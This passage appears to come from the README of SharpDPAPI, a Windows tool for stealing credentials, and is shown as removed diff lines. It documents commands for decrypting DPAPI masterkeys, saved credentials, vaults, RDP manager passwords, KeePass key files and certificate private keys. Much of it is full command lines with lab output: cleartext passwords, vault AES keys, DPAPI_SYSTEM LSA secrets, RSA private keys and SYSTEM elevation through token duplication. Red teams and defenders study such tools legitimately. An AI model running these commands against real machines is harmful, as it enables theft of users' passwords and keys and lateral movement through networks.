- __) | | (_| | |_) |_/ | /--\ | _|_
- |
- v1.2.0
-
-
- [*] Action: Triage User Masterkey Files
-
- [*] Found MasterKey : C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1473254003-2681465353-4059813368-1000\28678d89-678a-404f-a197-f4186315c4fa
- [*] Found MasterKey : C:\Users\harmj0y\AppData\Roaming\Microsoft\Protect\S-1-5-21-883232822-274137685-4173207997-1111\3858b304-37e5-48aa-afa2-87aced61921a
- ...(snip)...
-
- [*] User master key cache:
-
- {42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316...(snip)...
- ...(snip)...
-
-
-#### credentials
-
-The **credentials** command will search for Credential files and either a) decrypt them with any "{GUID}:SHA1" masterkeys passed, b) a `/mkfile:FILE` of one or more {GUID}:SHA1 masterkey mappings, c) use a supplied DPAPI domain backup key (`/pvk:BASE64...` or `/pvk:key.pvk`) to first decrypt any user masterkeys (a la **masterkeys**), or d) a `/password:X` to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' `sekurlsa::dpapi` command.
-
-A specific credential file (or folder of credentials) can be specified with `/target:FILE` or `/target:C:\Folder\`. If a file is specified, {GUID}:SHA1 values are required, and if a folder is specified either a) {GUID}:SHA1 values must be supplied or b) the folder must contain DPAPI masterkeys and a /pvk domain backup key must be supplied.
-
-If run from an elevated context, Credential files for ALL users will be triaged, otherwise only Credential files for the current user will be processed.
-
-Using domain {GUID}:SHA1 masterkey mappings:
-
- C:\Temp>SharpDPAPI.exe credentials {44ca9f3a-9097-455e-94d0-d91de951c097}:9b049ce6918ab89937687...(snip)... {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}:f9bc09dad3bc2cd00efd903...(snip)...
-
- __ _ _ _ ___
- (_ |_ _. ._ ._ | \ |_) /\ |_) |
- __) | | (_| | |_) |_/ | /--\ | _|_
- |
- v1.2.0
-
-
- [*] Action: User DPAPI Credential Triage
-
- [*] Triaging Credentials for ALL users
-
-
- Folder : C:\Users\harmj0y\AppData\Local\Microsoft\Credentials\
-
- CredFile : 48C08A704ADBA03A93CD7EC5B77C0EAB
-
- guidMasterKey : {885342c6-028b-4ecf-82b2-304242e769e0}
- size : 436
- flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
- algHash/algCrypt : 32772/26115
- description : Local Credential Data
-
- LastWritten : 1/22/2019 2:44:40 AM
- TargetName : Domain:target=TERMSRV/10.4.10.101
- TargetAlias :
- Comment :
- UserName : DOMAIN\user
- Credential : Password!
-
- ...(snip)...
-
-
-Using a domain DPAPI backup key to first decrypt any discoverable masterkeys:
-
- C:\Temp>SharpDPAPI.exe credentials /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
-
- __ _ _ _ ___
- (_ |_ _. ._ ._ | \ |_) /\ |_) |
- __) | | (_| | |_) |_/ | /--\ | _|_
- |
- v1.2.0
-
-
- [*] Action: User DPAPI Credential Triage
-
- [*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!
-
- [*] User master key cache:
-
- {42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
- ...(snip)...
-
- [*] Triaging Credentials for ALL users
-
-
- Folder : C:\Users\harmj0y\AppData\Local\Microsoft\Credentials\
-
- CredFile : 48C08A704ADBA03A93CD7EC5B77C0EAB
-
- guidMasterKey : {885342c6-028b-4ecf-82b2-304242e769e0}
- size : 436
- flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
- algHash/algCrypt : 32772/26115
- description : Local Credential Data
-
- LastWritten : 1/22/2019 2:44:40 AM
- TargetName : Domain:target=TERMSRV/10.4.10.101
- TargetAlias :
- Comment :
- UserName : DOMAIN\user
- Credential : Password!
-
- ...(snip)...
-
-
-
-#### vaults
-
-The **vaults** command will search for Vaults and either a) decrypt them with any "{GUID}:SHA1" masterkeys passed, b) a `/mkfile:FILE` of one or more {GUID}:SHA1 masterkey mappings, c) use a supplied DPAPI domain backup key (`/pvk:BASE64...` or `/pvk:key.pvk`) to first decrypt any user masterkeys (a la **masterkeys**), or d) a `/password:X` to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' `sekurlsa::dpapi` command.
-
-The Policy.vpol folder in the Vault folder is decrypted with any supplied DPAPI keys to retrieve the associated AES decryption keys, which are then used to decrypt any associated .vcrd files.
-
-A specific vault folder can be specified with `/target:C:\Folder\`. In this case, either a) {GUID}:SHA1 values must be supplied or b) the folder must contain DPAPI masterkeys and a /pvk domain backup key must be supplied.
-
-Using domain {GUID}:SHA1 masterkey mappings:
-
- C:\Temp>SharpDPAPI.exe vaults {44ca9f3a-9097-455e-94d0-d91de951c097}:9b049ce6918ab89937687...(snip)... {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}:f9bc09dad3bc2cd00efd903...(snip)...
- __ _ _ _ ___
- (_ |_ _. ._ ._ | \ |_) /\ |_) |
- __) | | (_| | |_) |_/ | /--\ | _|_
- |
- v1.2.0
-
-
- [*] Action: User DPAPI Vault Triage
-
- [*] Triaging Vaults for ALL users
-
-
- [*] Triaging Vault folder: C:\Users\harmj0y\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28
-
- VaultID : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
- Name : Web Credentials
- guidMasterKey : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
- size : 240
- flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
- algHash/algCrypt : 32772/26115
- description :
- aes128 key : EDB42294C0721F2F1638A40F0CD67CD8
- aes256 key : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793
-
- LastWritten : 10/12/2018 12:10:42 PM
- FriendlyName : Internet Explorer
- Identity : admin
- Resource : https://10.0.0.1/
- Authenticator : Password!
-
- ...(snip)...
-
-
-Using a domain DPAPI backup key to first decrypt any discoverable masterkeys:
-
- C:\Temp>SharpDPAPI.exe credentials /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
- __ _ _ _ ___
- (_ |_ _. ._ ._ | \ |_) /\ |_) |
- __) | | (_| | |_) |_/ | /--\ | _|_
- |
- v1.2.0
-
-
- [*] Action: DPAPI Vault Triage
-
- [*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!
-
- [*] User master key cache:
-
- {42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
- ...(snip)...
-
- [*] Triaging Vaults for ALL users
-
-
- [*] Triaging Vault folder: C:\Users\harmj0y\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28
-
- VaultID : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
- Name : Web Credentials
- guidMasterKey : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
- size : 240
- flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
- algHash/algCrypt : 32772/26115
- description :
- aes128 key : EDB42294C0721F2F1638A40F0CD67CD8
- aes256 key : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793
-
- LastWritten : 10/12/2018 12:10:42 PM
- FriendlyName : Internet Explorer
- Identity : admin
- Resource : https://10.0.0.1/
- Authenticator : Password!
-
- ...(snip)...
-
-
-Using a domain DPAPI backup key with a folder specified (i.e. "offline" triage):
-
- C:\Temp>SharpDPAPI.exe vaults /target:C:\Temp\test\ /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
-
- __ _ _ _ ___
- (_ |_ _. ._ ._ | \ |_) /\ |_) |
- __) | | (_| | |_) |_/ | /--\ | _|_
- |
- v1.2.0
-
-
- [*] Action: User DPAPI Vault Triage
-
- [*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!
-
- [*] User master key cache:
-
- {42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
- ...(snip)...
-
- [*] Target Vault Folder: C:\Temp\test\
-
-
- [*] Triaging Vault folder: C:\Temp\test\
-
- VaultID : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
- Name : Web Credentials
- guidMasterKey : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
- size : 240
- flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
- algHash/algCrypt : 32772/26115
- description :
- aes128 key : EDB42294C0721F2F1638A40F0CD67CD8
- aes256 key : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793
-
- LastWritten : 3/20/2019 6:03:50 AM
- FriendlyName : Internet Explorer
- Identity : account
- Resource : http://www.abc.com/
- Authenticator : password
-
-
-#### rdg
-
-The **rdg** command will search for RDCMan.settings files for the current user (or if elevated, all users) and either a) decrypt them with any "{GUID}:SHA1" masterkeys passed, b) a `/mkfile:FILE` of one or more {GUID}:SHA1 masterkey mappings, c) use a supplied DPAPI domain backup key (`/pvk:BASE64...` or `/pvk:key.pvk`) to first decrypt any user masterkeys (a la **masterkeys**), or d) a `/password:X` to decrypt any user masterkeys which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' `sekurlsa::dpapi` command.
-
-The `/unprotect` flag will use CryptUnprotectData() to decrypt any saved RDP passwords, *if* the command is run from the user context who saved the passwords. This can be done from an _unprivileged_ context, without the need to touch LSASS. For why this approach isn't used for credentials/vaults, see Benjamin's [documentation here](https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials#problem).
-
-A specific RDCMan.settings file, .RDC file (or folder of .RDG files) can be specified with `/target:FILE` or `/target:C:\Folder\`. If a file is specified, {GUID}:SHA1 values (or `/unprotect`) are required, and if a folder is specified either a) {GUID}:SHA1 values must be supplied or b) the folder must contain DPAPI masterkeys and a /pvk domain backup key must be supplied.
-
-This command will decrypt any saved password information from both the RDCMan.settings file and any .RDG files referenced by the RDCMan.settings file.
-
-Using `/unprotect` to decrypt any found passwords:
-
- C:\Temp>SharpDPAPI.exe rdg /unprotect
-
- __ _ _ _ ___
- (_ |_ _. ._ ._ | \ |_) /\ |_) |
- __) | | (_| | |_) |_/ | /--\ | _|_
- |
- v1.3.0
-
-
- [*] Action: RDG Triage
-
- [*] Using CryptUnprotectData() to decrypt RDG passwords
-
- [*] Triaging RDCMan Settings Files for current user
-
- RDCManFile : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
- Accessed : 5/9/2019 11:52:58 AM
- Modified : 5/9/2019 11:52:58 AM
- Recent Server : test\primary.testlab.local
-
- Cred Profiles
-
- Profile Name : testprofile
- UserName : testlab.local\dfm
- Password : Password123!
-
- Default Logon Credentials
-
- Profile Name : Custom
- UserName : TESTLAB\harmj0y
- Password : Password123!
-
- C:\Users\harmj0y\Documents\test.rdg
-
- Servers
-
- Name : secondary.testlab.local
-
- Name : primary.testlab.local
- Profile Name : Custom
- UserName : TESTLAB\dfm.a
- Password : Password123!
-
-
-Using domain {GUID}:SHA1 masterkey mappings:
-
- C:\Temp>SharpDPAPI.exe rdg {8abc35b1-b718-4a86-9781-7fd7f37101dd}:ae349cdd3a230f5e04f70fd02be69e2e71f1b017
-
- __ _ _ _ ___
- (_ |_ _. ._ ._ | \ |_) /\ |_) |
- __) | | (_| | |_) |_/ | /--\ | _|_
- |
- v1.3.0
-
-
- [*] Action: RDG Triage
-
- [*] Using CryptUnprotectData() to decrypt RDG passwords
-
- [*] Triaging RDCMan Settings Files for current user
-
- RDCManFile : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
- Accessed : 5/9/2019 11:52:58 AM
- Modified : 5/9/2019 11:52:58 AM
- Recent Server : test\primary.testlab.local
-
- Cred Profiles
-
- Profile Name : testprofile
- UserName : testlab.local\dfm
- Password : Password123!
-
- Default Logon Credentials
-
- Profile Name : Custom
- UserName : TESTLAB\harmj0y
- Password : Password123!
-
- C:\Users\harmj0y\Documents\test.rdg
-
- Servers
-
- Name : secondary.testlab.local
-
- Name : primary.testlab.local
- Profile Name : Custom
- UserName : TESTLAB\dfm.a
- Password : Password123!
-
-
-Using a domain DPAPI backup key to first decrypt any discoverable masterkeys:
-
- C:\Temp>SharpDPAPI.exe rdg /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
-
- __ _ _ _ ___
- (_ |_ _. ._ ._ | \ |_) /\ |_) |
- __) | | (_| | |_) |_/ | /--\ | _|_
- |
- v1.3.0
-
-
- [*] Action: RDG Triage
-
- [*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!
-
- [*] User master key cache:
-
- {42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
- ...(snip)...
-
- [*] Triaging RDCMan.settings Files for ALL users
-
- RDCManFile : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
- Accessed : 5/9/2019 11:52:58 AM
- Modified : 5/9/2019 11:52:58 AM
- Recent Server : test\primary.testlab.local
-
- Cred Profiles
-
- Profile Name : testprofile
- UserName : testlab.local\dfm.a
- Password : Password123!
-
- Default Logon Credentials
-
- Profile Name : Custom
- UserName : TESTLAB\harmj0y
- Password : Password123!
-
- C:\Users\harmj0y\Documents\test.rdg
-
- Servers
-
- Name : secondary.testlab.local
-
- Name : primary.testlab.local
- Profile Name : Custom
- UserName : TESTLAB\dfm.a
- Password : Password123!
-
-
-#### keepass
-
-The **keepass** command will search for KeePass ProtectedUserKey.bin files for the current user (or if elevated, all users) and either a) decrypt them with any "{GUID}:SHA1" masterkeys passed, b) a `/mkfile:FILE` of one or more {GUID}:SHA1 masterkey mappings, c) use a supplied DPAPI domain backup key (`/pvk:BASE64...` or `/pvk:key.pvk`) to first decrypt any user masterkeys (a la **masterkeys**), or d) a `/password:X` to decrypt any user masterkeys which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' `sekurlsa::dpapi` command.
-
-The `/unprotect` flag will use CryptUnprotectData() to decrypt the key bytes, *if* the command is run from the user context who saved the passwords. This can be done from an _unprivileged_ context, without the need to touch LSASS. For why this approach isn't used for credentials/vaults, see Benjamin's [documentation here](https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials#problem).
-
-A specific ProtectedUserKey.bin file, .RDC file (or folder of .RDG files) can be specified with `/target:FILE` or `/target:C:\Folder\`. If a file is specified, {GUID}:SHA1 values (or `/unprotect`) are required, and if a folder is specified either a) {GUID}:SHA1 values must be supplied or b) the folder must contain DPAPI masterkeys and a /pvk domain backup key must be supplied.
-
-Decrypted key file bytes can be used with the [modified KeePass version in KeeThief](https://github.com/GhostPack/KeeThief/tree/master/KeePass-2.34-Source-Patched).
-
-Using `/unprotect` to decrypt any found key material:
-
- C:\Temp> SharpDPAPI.exe keepass /unprotect
-
- __ _ _ _ ___
- (_ |_ _. ._ ._ | \ |_) /\ |_) |
- __) | | (_| | |_) |_/ | /--\ | _|_
- |
- v1.10.0
-
-
- [*] Action: KeePass Triage
-
- [*] Using CryptUnprotectData() for decryption.
-
- [*] Triaging KeePass ProtectedUserKey.bin files for current user
-
- File : C:\Users\harmj0y\AppData\Roaming\KeePass\ProtectedUserKey.bin
- Accessed : 3/1/2021 1:38:22 PM
- Modified : 1/4/2021 5:49:49 PM
- guidMasterKey : {dab90445-0a08-4b27-9110-b75d4a7894d0}
- size : 210
- flags : 0x0
- algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
- description :
- Key Bytes : 39 2E 63 EF 0E 37 E8 5C 34 ...
-
-
- SharpDPAPI completed in 00:00:00.0566660
-
-
-#### certificates
-
-The **certificates** command will search user encrypted DPAPI certificate private keys a) decrypt them with any "{GUID}:SHA1" masterkeys passed, b) a `/mkfile:FILE` of one or more {GUID}:SHA1 masterkey mappings, c) use a supplied DPAPI domain backup key (`/pvk:BASE64...` or `/pvk:key.pvk`) to first decrypt any user masterkeys (a la **masterkeys**), or d) a `/password:X` to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' `sekurlsa::dpapi` command.
-
-A specific certificiate can be specified with `/target:C:\Folder\`. In this case, either a) {GUID}:SHA1 values must be supplied or b) the folder must contain DPAPI masterkeys and a /pvk domain backup key must be supplied.
-
-By default, only private keys linkable to an associated installed certificate are displayed. The `/showall` command will display ALL decrypted private keys.
-
-Use the `/cng` flag for CNG private keys (default is capi).
-
-Using domain {GUID}:SHA1 masterkey mappings:
-
- C:\Temp> SharpDPAPI.exe certificates {dab90445-0a08-4b27-9110-b75d4a7894d0}:C23AF7432EB513717AA...(snip)...
-
- __ _ _ _ ___
- (_ |_ _. ._ ._ | \ |_) /\ |_) |
- __) | | (_| | |_) |_/ | /--\ | _|_
- |
- v1.10.0
-
-
- [*] Action: Certificate Triage
-
- Folder : C:\Users\harmj0y\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-937929760-3187473010-80948926-1104
-
- File : 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0
-
- Provider GUID : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
- Master Key GUID : {dab90445-0a08-4b27-9110-b75d4a7894d0}
- Description : CryptoAPI Private Key
- algCrypt : CALG_3DES (keyLen 192)
- algHash : CALG_SHA (32772)
- Salt : ef98458bca7135fe1bb89b3715180ae6
- HMAC : 5c3c3da2a4f6548a0186c22f86d7bc85
- Unique Name : te-UserMod-8c8e0236-76ca-4a36-b4d5-24eaf3c3e1da
-
- Thumbprint : 98A03BC583861DCC19045758C0E0C05162091B6C
- Issuer : CN=theshire-DC-CA, DC=theshire, DC=local
- Subject : CN=harmj0y
- Valid Date : 2/22/2021 2:19:02 PM
- Expiry Date : 2/22/2022 2:19:02 PM
- Enhanced Key Usages:
- Client Authentication (1.3.6.1.5.5.7.3.2)
- [!] Certificate is used for client auth!
- Secure Email (1.3.6.1.5.5.7.3.4)
- Encrypting File System (1.3.6.1.4.1.311.10.3.4)
-
- [*] Private key file 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0 was recovered:
-
- -----BEGIN RSA PRIVATE KEY-----
- MIIEpAIBAAKCAQEA0WDgv/jH5HuATtPgQSBie5t...(snip)...
- -----END RSA PRIVATE KEY-----
- -----BEGIN CERTIFICATE-----
- MIIFujCCBKKgAwIBAgITVQAAAJf6yKyhm5SBVwA...(snip)...
- -----END CERTIFICATE-----
-
-
-Using a domain DPAPI backup key to first decrypt any discoverable masterkeys:
-
- C:\Temp>SharpDPAPI.exe certificates /pvk:HvG1sAAAAAABAAAAAAAAAAAAAACU...(snip)...
- __ _ _ _ ___
- (_ |_ _. ._ ._ | \ |_) /\ |_) |
- __) | | (_| | |_) |_/ | /--\ | _|_
- |
- v1.10.0
-
-
- [*] Action: Certificate Triage
- [*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!
-
-
- [*] User master key cache:
-
- {dab90445-0a08-4b27-9110-b75d4a7894d0}:C23AF7432EB51371...(snip)...
-
-
-
- Folder : C:\Users\harmj0y\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-937929760-3187473010-80948926-1104
-
- File : 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0
-
- Provider GUID : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
- Master Key GUID : {dab90445-0a08-4b27-9110-b75d4a7894d0}
- Description : CryptoAPI Private Key
- algCrypt : CALG_3DES (keyLen 192)
- algHash : CALG_SHA (32772)
- Salt : ef98458bca7135fe1bb89b3715180ae6
- HMAC : 5c3c3da2a4f6548a0186c22f86d7bc85
- Unique Name : te-UserMod-8c8e0236-76ca-4a36-b4d5-24eaf3c3e1da
-
- Thumbprint : 98A03BC583861DCC19045758C0E0C05162091B6C
- Issuer : CN=theshire-DC-CA, DC=theshire, DC=local
- Subject : CN=harmj0y
- Valid Date : 2/22/2021 2:19:02 PM
- Expiry Date : 2/22/2022 2:19:02 PM
- Enhanced Key Usages:
- Client Authentication (1.3.6.1.5.5.7.3.2)
- [!] Certificate is used for client auth!
- Secure Email (1.3.6.1.5.5.7.3.4)
- Encrypting File System (1.3.6.1.4.1.311.10.3.4)
-
- [*] Private key file 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0 was recovered:
-
- -----BEGIN RSA PRIVATE KEY-----
- MIIEpAIBAAKCAQEA0WDgv/jH5HuATtPgQSBie5t...(snip)...
- -----END RSA PRIVATE KEY-----
- -----BEGIN CERTIFICATE-----
- MIIFujCCBKKgAwIBAgITVQAAAJf6yKyhm5SBVwA...(snip)...
- -----END CERTIFICATE-----
-
-
-#### triage
-
-The **triage** command runs the user [credentials](#credentials), [vaults](#vaults), [rdg](#rdg), and [certificates](#certificates) commands.
-
-
-### Machine Triage
-
-#### machinemasterkeys
-
-The **machinemasterkeys** command will elevated to SYSTEM to retrieve the DPAPI_SYSTEM LSA secret which is then used to decrypt any found machine DPAPI masterkeys. It will return a set of masterkey {GUID}:SHA1 mappings.
-
-Local administrative rights are needed (so we can retrieve the DPAPI_SYSTEM LSA secret).
-
- C:\Temp>SharpDPAPI.exe machinemasterkeys
-
- __ _ _ _ ___
- (_ |_ _. ._ ._ | \ |_) /\ |_) |
- __) | | (_| | |_) |_/ | /--\ | _|_
- |
- v1.2.0
-
-
- [*] Action: Machine DPAPI Masterkey File Triage
-
- [*] Elevating to SYSTEM via token duplication for LSA secret retrieval
- [*] RevertToSelf()
-
- [*] Secret : DPAPI_SYSTEM
- [*] full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
- [*] m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
-
-
- [*] SYSTEM master key cache:
-
- {1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
- ...(snip)...
-
-
-
-#### machinecredentials
-
-The **machinecredentials** command will elevated to SYSTEM to retrieve the DPAPI_SYSTEM LSA secret which is then used to decrypt any found machine DPAPI masterkeys. These keys are then used to decrypt any found machine Credential files.
-
-Local administrative rights are needed (so we can retrieve the DPAPI_SYSTEM LSA secret).
-
- C:\Temp>SharpDPAPI.exe machinecredentials
-
- __ _ _ _ ___
- (_ |_ _. ._ ._ | \ |_) /\ |_) |
- __) | | (_| | |_) |_/ | /--\ | _|_
- |
- v1.2.0
-
-
- [*] Action: Machine DPAPI Credential Triage
-
- [*] Elevating to SYSTEM via token duplication for LSA secret retrieval
- [*] RevertToSelf()
-
- [*] Secret : DPAPI_SYSTEM
- [*] full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
- [*] m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
-
- [*] SYSTEM master key cache:
-
- {1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
- ...(snip)...
-
-
- [*] Triaging System Credentials
-
-
- Folder : C:\WINDOWS\System32\config\systemprofile\AppData\Local\Microsoft\Credentials
-
- CredFile : C73A55F92FAE222C18A8989FEA28A1FE
-
- guidMasterKey : {1cb83cb5-96cd-445d-baac-49e97f4eeb72}
- size : 544
- flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
- algHash/algCrypt : 32782/26128
- description : Local Credential Data
-
- LastWritten : 3/24/2019 7:08:43 PM
- TargetName : Domain:batch=TaskScheduler:Task:{B745BF75-D62D-4B1C-84ED-F0437214ECED}
- TargetAlias :
- Comment :
- UserName : TESTLAB\harmj0y
- Credential : Password123!
-
-
- Folder : C:\WINDOWS\ServiceProfiles\LocalService\AppData\Local\Microsoft\Credentials
-
- CredFile : DFBE70A7E5CC19A398EBF1B96859CE5D
-
- ...(snip)...
-
-
-#### machinevaults
-
-The **machinevaults** command will elevated to SYSTEM to retrieve the DPAPI_SYSTEM LSA secret which is then used to decrypt any found machine DPAPI masterkeys. These keys are then used to decrypt any found machine Vaults.
-
-Local administrative rights are needed (so we can retrieve the DPAPI_SYSTEM LSA secret).
-
- C:\Temp>SharpDPAPI.exe machinevaults
-
- __ _ _ _ ___
- (_ |_ _. ._ ._ | \ |_) /\ |_) |
- __) | | (_| | |_) |_/ | /--\ | _|_
- |
- v1.2.0
-
-
- [*] Action: Machine DPAPI Vault Triage
-
- [*] Elevating to SYSTEM via token duplication for LSA secret retrieval
- [*] RevertToSelf()
-
- [*] Secret : DPAPI_SYSTEM
- [*] full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
- [*] m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
-
- [*] SYSTEM master key cache:
-
- {1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
- ...(snip)...
-
-
- [*] Triaging SYSTEM Vaults
-
-
- [*] Triaging Vault folder: C:\WINDOWS\System32\config\systemprofile\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28
-
- VaultID : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
- Name : Web Credentials
- guidMasterKey : {0bd732d9-c396-4f9a-a69a-508632c05235}
- size : 324
- flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
- algHash/algCrypt : 32782/26128
- description :
- aes128 key : 74CE3D7BCC4D0C4734931041F6D00D09
- aes256 key : B497F57730A2F29C3533B76BD6B33EEA231C1F51ED933E0CA1210B9E3A16D081
-
- ...(snip)...
-
-
-#### certificates /machine
-
-The **certificates /machine** command will use the machine certificate store to look for decryptable machine certificate private keys. `/mkfile:X` and `{GUID}:masterkey` are usable with the `/target:\[file|folder\]` command, otherwise SharpDPAPI will elevate to SYSTEM to retrieve the DPAPI_SYSTEM LSA secret which is then used to decrypt any found machine DPAPI masterkeys. These keys are then used to decrypt any found machine system encrypted DPAPI private certificate keys.
-
-By default, only private keys linkable to an associated installed certificate are displayed. The `/showall` command will display ALL decrypted private keys.
-
-Local administrative rights are needed (so we can retrieve the DPAPI_SYSTEM LSA secret).
-
- C:\Temp>SharpDPAPI.exe certificates /machine
-
- __ _ _ _ ___
- (_ |_ _. ._ ._ | \ |_) /\ |_) |
- __) | | (_| | |_) |_/ | /--\ | _|_
- |
- v1.10.0
-
-
- [*] Action: Certificate Triage
- [*] Elevating to SYSTEM via token duplication for LSA secret retrieval
- [*] RevertToSelf()
-
- [*] Secret : DPAPI_SYSTEM
- [*] full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
- [*] m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
-
-
- [*] SYSTEM master key cache:
-
- {f12f57e1-dd41-4daa-88f1-37a64034c7e9}:3AEB121ECF2...(snip)...
-
-
- [*] Triaging System Certificates
-
-
- Folder : C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys
-
- File : 9377cea385fa1e5bf7815ee2024d0eea_6c712ef3-1467-4f96-bb5c-6737ba66cfb0
-
- Provider GUID : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
- Master Key GUID : {f12f57e1-dd41-4daa-88f1-37a64034c7e9}
- Description : CryptoAPI Private Key
- algCrypt : CALG_3DES (keyLen 192)
- algHash : CALG_SHA (32772)
- Salt : aa8c9e4849455660fc5fc96589f3e40e
- HMAC : 9138559ef30fbd70808dca2c1ed02a29
- Unique Name : te-Machine-50500b00-fddb-4a0d-8aa6-d73404473650
-
- Thumbprint : A82ED8207DF6BC16BB65BF6A91E582263E217A4A
- Issuer : CN=theshire-DC-CA, DC=theshire, DC=local
- Subject : CN=dev.theshire.local
- Valid Date : 2/22/2021 3:50:43 PM
- Expiry Date : 2/22/2022 3:50:43 PM
- Enhanced Key Usages:
- Client Authentication (1.3.6.1.5.5.7.3.2)
- [!] Certificate is used for client auth!
- Server Authentication (1.3.6.1.5.5.7.3.1)
-
- [*] Private key file 9377cea385fa1e5bf7815ee2024d0eea_6c712ef3-1467-4f96-bb5c-6737ba66cfb0 was recovered:
-
- -----BEGIN RSA PRIVATE KEY-----
- MIIEpAIBAAKCAQEAzRX2ipgM1t9Et4KoP...(snip)...
- -----END RSA PRIVATE KEY-----
- -----BEGIN CERTIFICATE-----
- MIIFOjCCBCKgAwIBAgITVQAAAJqDK8j15...(snip)...
- -----END CERTIFICATE-----
-
-
-#### machinetriage
-
-The **machinetriage** command runs the user [machinecredentials](#machinecredentials), [machinevaults](#machinevaults), and [certificates /machine](#certificates--machine) commands.
-
-
-### Misc
-
-#### ps
-
-The **ps** command will describe/decrypt an exported PSCredential clixml. A `/target:FILE.xml` *must* be supplied.
-
-The command will a) decrypt the file with any "{GUID}:SHA1" masterkeys passed, b) a `/mkfile:FILE` of one or more {GUID}:SHA1 masterkey mappings, c) use a supplied DPAPI domain backup key (`/pvk:BASE64...` or `/pvk:key.pvk`) to first decrypt any user masterkeys (a la **masterkeys**), or d) a `/password:X` to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' `sekurlsa::dpapi` command.
-
